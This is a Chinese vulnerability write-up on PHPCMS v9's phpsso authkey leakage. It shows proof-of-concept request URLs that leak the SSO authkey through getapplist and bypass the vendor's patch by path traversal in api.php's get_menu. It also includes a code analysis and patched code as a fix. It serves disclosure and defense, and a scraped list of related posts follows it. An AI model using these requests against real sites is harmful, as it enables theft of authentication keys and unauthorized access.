catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

安装phpcms的时候会强制安装它的通行证

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2014-066394

2. 漏洞触发条件

0x1: POC1

. 访问头像上传页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//获取'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&" . Base64解码后
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
//将url里的uploadavatar换成:getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA . 得到authkey

0x2: POC Bypass Path 1

http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin

3. 漏洞影响范围
4. 漏洞代码分析

\phpsso_server\phpcms\modules\phpsso\index.php

/**
* 获取应用列表
*/
public function getapplist()
{
$applist = getcache('applist', 'admin');
exit(serialize($applist));
}

这个函数从cache中获取applist信息,继续追溯cache里的内容
\phpsso_server\caches\caches_admin\caches_data\applist.cache.php

<?php
return array (
=>
array (
'appid' => '',
'type' => 'phpcms_v9',
'name' => 'phpcms v9',
'url' => 'http://localhost/phpcms_v9/',
'authkey' => 'lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0',
'ip' => '',
'apifilename' => 'api.php?op=phpsso',
'charset' => 'utf-8',
'synlogin' => '',
),
);
?>

所以只要我们调用phpsso并且能走到getapplist()这个方法里,就会突出sso配置的客户端的所有信息,包括authkey,我们继续回溯分析漏洞源头
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php

    public function __construct()
{
$this->db = pc_base::load_model('member_model');
pc_base::load_app_func('global'); /*获取系统配置*/
$this->settings = getcache('settings', 'admin');
$this->applist = getcache('applist', 'admin'); //GET数据全部传递给POST
if(isset($_GET) && is_array($_GET) && count($_GET) > )
{
foreach($_GET as $k=>$v)
{
if(!in_array($k, array('m','c','a')))
{
$_POST[$k] = $v;
}
}
} if(isset($_POST['appid']))
{
$this->appid = intval($_POST['appid']);
}
else
{
exit('');
} if(isset($_POST['data']))
{
//将getapplist()结果赋值给$_POST['data']
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(empty($this->data) || !is_array($this->data)) {
exit('');
}
} else {
exit('');
}

接下里的问题是我们要如何获取$_POST['data'],继续回溯到上传头像页面

http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//查看源代码
script type="text/javascript">
var flashvars = {
'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
};
var params = {
'align':'middle',
'play':'true',
'loop':'false',
'scale':'showall',
'wmode':'window',
'devicefont':'true',
'id':'Main',
'bgcolor':'#ffffff',
'name':'Main',
'allowscriptaccess':'always'
};
var attributes = {

得到base64编码后的URL

aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==
/*
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
*/

将url里的uploadavatar换成:getapplist

http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA

得到结果

a::{i:;a::{s::"appid";s::"";s::"type";s::"phpcms_v9";s::"name";s::"phpcms v9";s::"url";s::"http://localhost/phpcms_v9/";s::"authkey";s::"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s::"ip";s::"";s::"apifilename";s::"api.php?op=phpsso";s::"charset";s::"utf-8";s::"synlogin";s::"";}}
/*
authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0
*/

得到这个authkey,就可以获得了sso体系中的令牌,厂商对index.php中的getapplist()函数进行了patch,unset了数组中的authkey键值,但是却没有充分考虑到全部的攻击面
\api\get_menu.php

/**
* 获取地区列表
*/
function ajax_getlist() { $cachefile = $_GET['cachefile'];
$cachefile = str_replace(array('/', '//'), '', $cachefile);
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
//getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v)
{
if($v['parentid'] == $where_id)
{
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>)
{
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
}
else
{
echo trim_script($_GET['callback']).'()';exit;
}
}

Relevant Link:

http://0cx.cc/phpcms_phpsso_auth_key.jspx
http://0day5.com/archives/3251

5. 防御方法

\phpsso_server\phpcms\modules\phpsso\index.php

/**
* 获取应用列表
*/
public function getapplist()
{
$applist = getcache('applist', 'admin');
/**/
foreach($applist as $key=>$value)
{
unset($applist[$key]['authkey']);
}
/**/
exit(serialize($applist));
}

\api\get_menu.php

/**
* 获取地区列表
*/
function ajax_getlist() { $cachefile = $_GET['cachefile'];
//$cachefile = str_replace(array('/', '//'), '', $cachefile);
/**/
$cachefile = str_replace(array('/', '//', '\\'), '', $cachefile);
/**/
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
//getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v)
{
if($v['parentid'] == $where_id)
{
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>)
{
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
}
else
{
echo trim_script($_GET['callback']).'()';exit;
}
}

Relevant Link:

http://0day5.com/archives/3202
http://www.wooyun.org/bugs/wooyun-2015-0105242

6. 攻防思考

Copyright (c) 2015 Little5ann All rights reserved

PHPCMS \phpsso_server\phpcms\modules\phpsso\index.php、\api\get_menu.php Authkey Leakage的更多相关文章

  1. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  2. phpcms V9实现wap上一篇、下一篇功能

    在phpcms\modules\wap\index.php里面,搜索上面这句 if(!$r || $r['status'] != 99) showmessage(L('info_does_not_ex ...

  3. PHPCMS(2)PHPCMS V9 环境搭建(转)

    转自:http://www.cnblogs.com/Braveliu/p/5072920.html PHPCMS V9的学习总结分为以下几点: [1]PHPCMS 简介 PHP原始为Personal ...

  4. phpcms(1)phpcms V9 MVC模式 与 URL访问解析(转)

    [1]URL访问解析 观察访问网页时的网址,可以得出模块访问方法,如下示例: http://www.abcd.com.cn/phpcms/index.php?m=content&c=index ...

  5. hadoop2.5发布:最新编译 32位、64位安装、源码包、API以及新特性

    hadoop2.5发布:最新编译 32位.64位安装.源码包.API以及新特性 http://www.aboutyun.com/thread-8751-1-1.html (出处: about云开发) ...

  6. Android各版本代号、版本号、API/NDK级别、发布时间及市场份额

    Android各版本代号.版本号.API/NDK级别.发布时间及市场份额 代号 版本号 API/NDK级别 发布时间 - O 8.0 API level 26 2017-3-21 牛轧糖 Nougat ...

  7. 【云开发】10分钟零基础学会做一个快递查询微信小程序,快速掌握微信小程序开发技能(轮播图、API请求)

    大家好,我叫小秃僧 这次分享的是10分钟零基础学会做一个快递查询微信小程序,快速掌握开发微信小程序技能. 这篇文章偏基础,特别适合还没有开发过微信小程序的童鞋,一些概念和逻辑我会讲细一点,尽可能用图说 ...

  8. 转载-- http接口、api接口、RPC接口、RMI、webservice、Restful等概念

     http接口.api接口.RPC接口.RMI.webservice.Restful等概念 收藏 Linux一叶 https://my.oschina.net/heavenly/blog/499661 ...

  9. hadoop2.6.0汇总:新增功能最新编译 32位、64位安装、源码包、API下载及部署文档

    相关内容: hadoop2.5.2汇总:新增功能最新编译 32位.64位安装.源码包.API.eclipse插件下载Hadoop2.5 Eclipse插件制作.连接集群视频.及hadoop-eclip ...

随机推荐

  1. Iptables 报错Couldn't load target `ACCET':/lib64/xtables/libipt_ACCET.so: cannot open shared object file

    [root@xxxx ~]# /etc/init.d/iptables restart iptables: Setting chains to policy ACCEPT: filter nat [ ...

  2. 拒绝了对对象 'XXX' (数据库 'XXX',架构 'dbo')的 SELECT 权限

    2010-04-17 23:16 在IIS里测试ASP.NET网站时会遇到这样的问题(ASP.NET+SQL2005)我自己的解决方法是这样的: 1.打开SQL2005管理界面(没有安装SQLServ ...

  3. WPF 绑定枚举值

    前台Xaml <ComboBox x:Name=" HorizontalAlignment="Left" Margin="5 0 0 0" Se ...

  4. 我的Logo设计简史

    近日,日本东京奥运会会微因涉嫌抄袭而被弃用的新闻引起设计界的一翻热论.在此我想到自己的LOGO设计,虽说并一定不好看甚至自己看回来都觉得略丑,但 几乎没有过抄袭的念头.有句话说,不想当设计师的程序猿不 ...

  5. Apache下开启SSI配置使html支持include包含

    写页面的同学通常会遇到这样的烦恼,就是页面上的 html 标签越来越多的时候,寻找指定的部分就会很困难,那么能不能像 javascript 一样写在不同的文件中引入呢?答案是有的,apache 能做到 ...

  6. 页面跳转Transfer与Redirect的区别你知道吗?

    一 前言 关于页面跳转的方式常用的应该就是,链接跳转,js跳转,Server.Tranfser和Response.Redirect 这几种,可是在Tranfser与Redirect之间用哪种更好(本文 ...

  7. Android子线程真的不能更新UI么

    Android单线程模型是这样描述的: Android UI操作并不是线程安全的,并且这些操作必须在UI线程执行 如果在其它线程访问UI线程,Android提供了以下的方式: Activity.run ...

  8. 【转】Java 8十个lambda表达式案例

    1. 实现Runnable线程案例 使用() -> {} 替代匿名类: //Before Java 8: new Thread(new Runnable() { @Override public ...

  9. Eclipse添加代码注释模板

    Eclipse支持我们自定义模板,比如文件的注释,类注释,函数注释等功能.eclipse自身有自带的模板,我们也可以自己定义.一次点击:windows->preference—>java- ...

  10. kill 根据PID终止进程

    根据PID终止进程 kill [option] PID-list kill 通过向一个或多个进程发送信号来终止进程.除超级用户外,只有进程的所有者才可以对进程执行kill 参数 PID-list为ki ...